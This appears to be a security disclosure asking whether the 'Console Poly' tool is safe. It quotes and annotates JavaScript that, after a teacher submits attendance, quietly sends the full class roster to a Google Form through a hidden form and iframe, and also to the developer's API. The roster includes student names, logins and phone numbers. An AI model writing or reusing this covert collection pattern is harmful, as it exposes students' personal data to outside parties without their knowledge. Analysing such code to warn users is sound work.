Is Console Poly safe?

if (localStorage.getItem("needSendAttendance") == "true") {
  // Fires on the page load right after an attendance submission.
  getUser(sendAttendance);
  localStorage.setItem("needSendAttendance", "false");
}
document.querySelector("form").addEventListener("submit", function () {
  // The school's own attendance form. No form field or logic here
  // discloses that this flag drives a later network send.
  localStorage.setItem("needSendAttendance", "true");
});

  function sendAttendance() {
    // Re-fetches the FULL class roster + per-session attendance, not just
    // the one row the teacher just changed.
    httpGetAsync(
      `https://gv.poly.edu.vn/teacher/group/get_attendance_by_group_id/${
        document.querySelector('[name="group_id"]').value
      }?campus_code=${localStorage.getItem("campus_id") || "ps"}`,
      async function (res) {
        var data = JSON.parse(res);
        data = data.data;
        // console.log(data);
        var AP = { "-1": "-", 0: "A", 1: "P", 2: "p" };
        var sv = "";
        for (var item of data.members) {
          sv += `${item.user_code},${item.member_login},${item.fullname},${item.user.user_telephone}`;
          for (var i = 1; i <= 17; i++) {
            sv += `,${AP[item.attendance[i]]}`;
          }
          sv += "|";
        }
        sv = sv.slice(0, -1);
        // Builds a display:none form targeting an off-screen iframe ("basket"),
        // so the POST and its response are never visible to the teacher.
        if (document.querySelectorAll("#formAttendance").length == 0) {
          document.querySelector("#kt_footer").insertAdjacentHTML(
            "afterend",
            `
                <form id="formAttendance" style="display:none" action="https://docs.google.com/forms/u/0/d/e/1FAIpQLSdQOXfamcatySK0skO0bh1Vv0WpkxTLMrFkmG0Lc1ANK4uv6w/formResponse" method="POST" target="basket">
                    <input type="text" name="entry.815697730" id="entry.815697730" value="${getUrlSearch(
                      "class_name",
                    )}">
                    <input type="text" name="entry.1499380568" id="entry.1499380568" value="${getUrlSearch(
                      "subject_code",
                    )}">
                    <input type="text" name="entry.1418286398" id="entry.1418286398" value="${
                      user.code
                    }">
                    <input type="text" name="entry.2042509915" id="entry.2042509915" value="${
                      user.fullname
                    }">
                    <input type="text" name="entry.1419492371" id="entry.1419492371" value="${sv}">
                    <input type="hidden" name="pageHistory" value="0">
                    <button type="submit">Gửi</button>
                </form>
                <iframe id="basket" name="basket" style="display:none"></iframe>
                `,
          );
          document.querySelector("#formAttendance").submit();
        }
        let resData = await fetch(`${APIurl}/token`, {
          headers: {
            accept: "*/*",
            "sec-fetch-dest": "empty",
            "sec-fetch-mode": "cors",
            "sec-fetch-site": "cross-site",
          },
          referrerPolicy: "strict-origin-when-cross-origin",
          method: "GET",
          mode: "cors",
          credentials: "omit",
        }).then((res) => res.json());
        data.members = data.members.map((sv) => {
          return {
            id: sv.user_code,
            fullname: sv.fullname,
            attendance: sv.attendance,
            absent: sv.absent,
            absent_percent: sv.absent_percent,
            total_session: sv.total_session,
          };
        });
        // data = {data: data};
        let class_id = document.querySelector('[name="group_id"]').value;
        let body = {
          id: class_id,
          campus: localStorage.getItem("campus_id") || "ps",
          teacher: getUser().code,
          data: data,
        };
        if (getUrlSearch("class_name"))
          body["name"] = getUrlSearch("class_name");
        if (getUrlSearch("subject_code"))
          body["subject"] = getUrlSearch("subject_code");
        if (getUrlSearch("subject_name"))
          body["subject_name"] = decodeURIComponent(
            getUrlSearch("subject_name"),
          );
        // Second, parallel destination: the developer's own API
        // (APIurl = https://console.poly.io.vn/api), independent of the
        // Google Form above.
        fetch(`${APIurl}/attendance/${class_id}/save`, {
          headers: {
            accept: "application/json",
            "sec-fetch-mode": "cors",
            "sec-fetch-site": "cross-site",
            "x-csrf-token": resData.token,
          },
          referrerPolicy: "strict-origin-when-cross-origin",
          body: JSON.stringify(body),
          method: "POST",
        });

        console.log(data);
      },
    );
  }